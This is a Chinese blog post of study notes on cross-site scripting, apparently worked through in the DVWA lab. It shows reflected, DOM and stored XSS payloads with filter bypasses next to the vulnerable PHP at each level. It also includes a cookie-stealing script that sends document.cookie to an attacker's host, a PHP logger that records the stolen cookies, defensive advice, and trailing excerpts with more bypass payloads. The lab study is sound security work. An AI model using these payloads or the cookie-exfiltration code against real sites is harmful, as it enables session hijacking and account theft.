xss总结(一直更新)

反射型:

在表单输入jack
网页源代码:<pre>Hello jack</pre>

测试:

低级别:<script>alert(‘xss‘)</script>

代码:直接对输入判断,没有任何安全过滤
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Feedback for end user
echo ‘<pre>Hello ‘ . $_GET[ ‘name‘ ] . ‘</pre>‘;
}

?>

中级别:<scr<script>ipt>alert(‘xss‘)</script>

代码:用str_replace函数,将<script>替换掉,但不严格,可以绕过
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Get input
$name = str_replace( ‘<script>‘, ‘‘, $_GET[ ‘name‘ ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

高级别:使用事件:11</pre><img src=1 onerror=alert(‘xss‘)><pre>22 一带任何script的标志

代码:正则表达式做替换,使用通配符,对script相关的替换掉,但对事件型的构造语句没有进行过滤
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Get input
$name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

最高级别代码:严格,加了token,htmlspecialchars()可对输入参数进行实体转义,输入的<,>等都是会当做实体字符输出
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

// Get input
$name = htmlspecialchars( $_GET[ ‘name‘ ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

DOM型:

可把DOM理解为一个一个访问html的标准编程接口。
不需要后台服务器的参与

测试:
‘ onclick=alert(‘xss‘)// 先闭合单引号,用onclick事件,再用//注释掉后边的单引号
‘><img src=1 onerror=alert(‘xss‘)><‘ 插入图片,并发生错误事件,再闭合后边的

网页源代码:
<!DOCTYPE html>
<html>
<body>

<script>
function xsstest(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href=‘ "+str+" ‘>testlink</a>";
}

</script>

<input type="text" id="text" value=""/>
<input type="button" value="write" onclick="xsstest()">
<div id=‘t‘></div>
</body>
</html>

存储型:

输入框长度绕过:
<input name="txtName" size="30" maxlength="10" type="text">
通过firebug修改长度即可

或者用burp suit抓包重放

网页源代码:
<div id="guestbook_comments">Name: tttt<br />Message: ttttt<br /></div>

低级别:
测试:<script>alert(‘xss‘)</script>
代码:
<?php

if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );//trim 移除字符串两侧的空白字符(默认)或其他预定义字符
$name = trim( $_POST[ ‘txtName‘ ] );

// Sanitize message input
$message = stripslashes( $message ); //去掉反斜杠
$message = mysql_real_escape_string( $message ); //可用本函数来预防数据库攻击,过滤特殊字符,对sql语句进行转义,如‘,转义为实体,输出到前端时没有处理

// Sanitize name input
$name = mysql_real_escape_string( $name );

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
$result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ );

//mysql_close();
}

?>

中级别:
测试:<scr<script>ipt>alert(‘xss‘)</script>
代码:
<?php

if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );//strip_tags()剥去字符串中的html标签 ; addslashes()在每个双引号前添加反斜杠
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message ); // htmlspecialchars()把预定义的字符如<>&‘"转为HTML实体

// Sanitize name input
$name = str_replace( ‘<script>‘, ‘‘, $name );
$name = mysql_real_escape_string( $name );

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
$result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ );

//mysql_close();
}

?>
高级别:
测试:<img src=1 onerror=alert(‘xss‘)>
代码:
<?php

if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $name );
$name = mysql_real_escape_string( $name );

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
$result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ );

//mysql_close();
}

?>

更高级别代码:很严格
<?php

if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );

// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( ‘INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );‘ );
$data->bindParam( ‘:message‘, $message, PDO::PARAM_STR );
$data->bindParam( ‘:name‘, $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

盗取cookie:

攻击者代码:
<?php

$cookie=$_GET[‘cookie‘];
$time=date(‘Y-m-d g:i:s‘);
$referer=getenv(‘HTTP_REFERER‘);
$cookietxt=fopen(‘cookie.txt‘,‘a‘);
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意双引号,容易出错
fclose($cookietxt);

?>

脚本端:
<script>
document.write(‘<img src="http://ip/cookie.php?cookie=‘+document.cookie+‘" width=0 height=0 border=0 />‘);
</script>

获取到cookie后,用firebug找到cookie,新建cookie
加入cookie,用referer来提交,无需输入帐号密码直接登录进去!

XSS防范措施:
1.对前端输入做过滤和编码:
比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;
对特殊字符进行过滤和转义;
2.对输出做过滤和编码:在变量值输出到前端的HTML时进行编码和转义;
3.给关键cookie使用http-only

时间: 2024-10-06 20:27:45

xss总结(一直更新)的相关文章

渗透场景篇--当XSS遇上CSRF

你是否有过这样的经历,你发现了一个xss,但是貌似只能叉自己,输出点只有自己可以看见.这个时候,你会觉得这个xss很鸡肋,当你就此忽略这个漏洞的时候,你可能丢掉一个发出组合技能的机会.    今天我们来介绍一个场景,当xss遇上csrf的时候,是否能打出一套漂亮的组合技能. 实验环境:     ZvulDirll[请用下面我简单修改过的版本]     下载地址:在文章最后面 一.安装:0x00:解压ZVulDrill压缩包,将其放在www目录下,也就是你的网站根目录.0x01.编辑ZVulDri

xss各种绕过收集(更新完毕)

<L onclick=alert(1)>click me</L★最琀;弹出1<a href="javascrip:alert(document.cookie)"> 用a标签来弹窗 "><img src="" onerror="document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+Str

XSS 各种姿势总结(随时更新)

内容安全策略(Content Security Policy,简称CSP) 是一种以可信白名单作机制,来限制网站中是否可以包含某来源内容.默认配置下不允许执行内联代码 <script> 块内容,内联事件,内联样式 ,以及禁止执行eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …) . CSP更详尽的介绍可以在drops看到:http://drops.wooyun.org/tips/1439 文件上传

审计4 XSS

在sys/libphp中 1 function get_client_ip(){ 2 if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){ 3 $ip = $_SERVER["HTTP_CLIENT_IP"]; 4 }else if ($_SERVER["HTTP_X_FORWARDE

web安全之xss

xss:跨站脚本攻击,攻击者,把一段恶意代码镶嵌到web页面,,用户浏览页面时,嵌入页面的恶意代码就会执行,从而到达攻击用户的目的. 重点在于脚本,javascript和actionscript    属于前段攻击一般分为三类: 反射性xss,储存型XSS,DOM型XSS((还有flash XSS.mXSS).) 重要介绍 存储型xss 危害: 获取管理员的cookie 鱼叉攻击 挂马(水坑) 等等. (1)反射性xss,url上有攻击者控制的参数,服务器在响应时,会把这个数据发到浏览器上并被解

XSS前置课程--同源策略

什么是同源策略: 在用户浏览互联网中的网页的过程中,身份和权限的思想是贯穿始终的 同源策略(Same-Origin Policy),就是为了保证互联网之中,各类资源的安全性而诞生的产物,它实际上是一个众多浏览器厂商共同遵守的约定.同源策略是浏览器中基本的安全功能,缺少同源策略,很多浏览器的常规功能都会受到影响,可以说WEB是构建在同源策略基础之上的. 如果WEB世界没有同源策略,当你登录FreeBuf账号并打开另一个站点时,这个站点上的JavaScript可以跨越读取你的FreeBuf账号数据,

(转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)

第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一下就让人给搞没了.本来想的就算了.但是突然觉得还是想看看程序员是怎么修复的.(说实话,搞了那么多天也有感情了不是) <p onmouseover="\u0064ocument.write('<sc'+'ript src=//zsy.ca/33></sc'+'ript>')&

黄聪:PHP 防护XSS,SQL,代码执行,文件包含等多种高危漏洞

版本:v1.1更新时间:2013-05-25更新内容:优化性能功能说明: 可以有效防护XSS,sql注射,代码执行,文件包含等多种高危漏洞. 使用方法: 将waf.php传到要包含的文件的目录 在页面中加入防护,有两种做法,根据情况二选一即可: a).在所需要防护的页面加入代码就可以做到页面防注入.跨站 复制代码 require_once('waf.php'); 如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php,来调用本代码.常用php系统添加文件 PHPC

漏洞科普:对于XSS和CSRF你究竟了解多少

转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显. 黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使